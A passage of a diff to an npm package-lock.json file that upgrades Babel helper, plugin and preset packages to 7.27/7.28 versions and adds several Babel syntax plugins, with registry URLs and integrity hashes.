"sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz", + "integrity": "sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.25.9", - "@babel/helper-member-expression-to-functions": "^7.25.9", - "@babel/helper-optimise-call-expression": "^7.25.9", - "@babel/helper-replace-supers": "^7.26.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", - "@babel/traverse": "^7.26.9", + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/traverse": "^7.27.1", "semver": "^6.3.1" }, "engines": { @@ -205,44 +203,54 @@ "@babel/core": "^7.0.0" } }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, "node_modules/@babel/helper-member-expression-to-functions": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz", - "integrity": "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz", + "integrity": "sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-imports": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz", - "integrity": "sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", + "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", "dev": true, "license": "MIT", "dependencies": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-transforms": { - "version": "7.26.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz", - "integrity": "sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz", + "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-module-imports": "^7.25.9", - "@babel/helper-validator-identifier": "^7.25.9", - "@babel/traverse": "^7.25.9" + "@babel/helper-module-imports": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.27.3" }, "engines": { "node": ">=6.9.0" @@ -252,22 +260,22 @@ } }, "node_modules/@babel/helper-optimise-call-expression": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz", - "integrity": "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz", + "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==", "dev": true, "license": "MIT", "dependencies": { - "@babel/types": "^7.25.9" + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-plugin-utils": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz", - "integrity": "sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", "dev": true, "license": "MIT", "engines": { @@ -275,15 +283,15 @@ } }, "node_modules/@babel/helper-replace-supers": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz", - "integrity": "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz", + "integrity": "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-member-expression-to-functions": "^7.25.9", - "@babel/helper-optimise-call-expression": "^7.25.9", - "@babel/traverse": "^7.26.5" + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -293,23 +301,23 @@ } }, "node_modules/@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz", - "integrity": "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz", + "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-string-parser": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", - "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", "dev": true, "license": "MIT", "engines": { @@ -317,9 +325,9 @@ } }, "node_modules/@babel/helper-validator-identifier": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", - "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", "dev": true, "license": "MIT", "engines": { @@ -327,9 +335,9 @@ } }, "node_modules/@babel/helper-validator-option": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz", - "integrity": "sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", "dev": true, "license": "MIT", "engines": { @@ -337,27 +345,27 @@ } }, "node_modules/@babel/helpers": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.26.10.tgz", - "integrity": "sha512-UPYc3SauzZ3JGgj87GgZ89JVdC5dj0AoetR5Bw6wj4niittNyFh6+eOGonYvJ1ao6B8lEa3Q3klS7ADZ53bc5g==", + "version": "7.27.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz", + "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==", "dev": true, "license": "MIT", "dependencies": { - "@babel/template": "^7.26.9", - "@babel/types": "^7.26.10" + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.6" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/parser": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.26.10.tgz", - "integrity": "sha512-6aQR2zGE/QFi8JpDLjUZEPYOs7+mhKXm86VaKFiLP35JQwQb6bwUE+XbvkH0EptsYhbNBSUGaUBLKqxH1xSgsA==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz", + "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==", "dev": true, "license": "MIT", "dependencies": { - "@babel/types": "^7.26.10" + "@babel/types": "^7.28.0" }, "bin": { "parser": "bin/babel-parser.js" @@ -366,6 +374,61 @@ "node": ">=6.0.0" } }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, "node_modules/@babel/plugin-syntax-flow": { "version": "7.26.0", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.26.0.tgz", @@ -382,14 +445,166 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz", + "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, "node_modules/@babel/plugin-syntax-jsx": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz", - "integrity": "sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz", + "integrity": "sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" }, "engines": { "node": ">=6.9.0" @@ -399,13 +614,13 @@ } }, "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz", - "integrity": "sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.27.1.tgz", + "integrity": "sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -415,14 +630,14 @@ } }, "node_modules/@babel/plugin-transform-class-properties": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz", - "integrity": "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz", + "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -449,14 +664,14 @@ } }, "node_modules/@babel/plugin-transform-modules-commonjs": { - "version": "7.26.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz", - "integrity": "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz", + "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-module-transforms": "^7.26.0", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -466,13 +681,13 @@ } }, "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { - "version": "7.26.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.26.6.tgz", - "integrity": "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz", + "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.26.5" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -482,14 +697,14 @@ } }, "node_modules/@babel/plugin-transform-optional-chaining": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz", - "integrity": "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.27.1.tgz", + "integrity": "sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -499,14 +714,14 @@ } }, "node_modules/@babel/plugin-transform-private-methods": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz", - "integrity": "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz", + "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -516,17 +731,17 @@ } }, "node_modules/@babel/plugin-transform-typescript": { - "version": "7.26.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.8.tgz", - "integrity": "sha512-bME5J9AC8ChwA7aEPJ6zym3w7aObZULHhbNLU0bKUhKsAkylkzUdq+0kdymh9rzi8nlNFl2bmldFBCKNJBUpuw==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.28.0.tgz", + "integrity": "sha512-4AEiDEBPIZvLQaWlc9liCavE0xRM0dNca41WtBeM3jgFptfUOSG9z0uteLhq6+3rq+WB6jIvUwKDTpXEHPJ2Vg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-annotate-as-pure": "^7.25.9", - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.26.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", - "@babel/plugin-syntax-typescript": "^7.25.9" + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-syntax-typescript": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -554,17 +769,17 @@ } }, "node_modules/@babel/preset-typescript": { - "version": "7.26.0", - "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz", - "integrity": "sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.27.1.tgz", + "integrity": "sha512-l7WfQfX0WK4M0v2RudjuQK4u99BS6yLHYEmdtVPP7lKV013zr9DygFuWNlnbvQ9LR+LS0Egz/XAvGx5U9MX0fQ==", 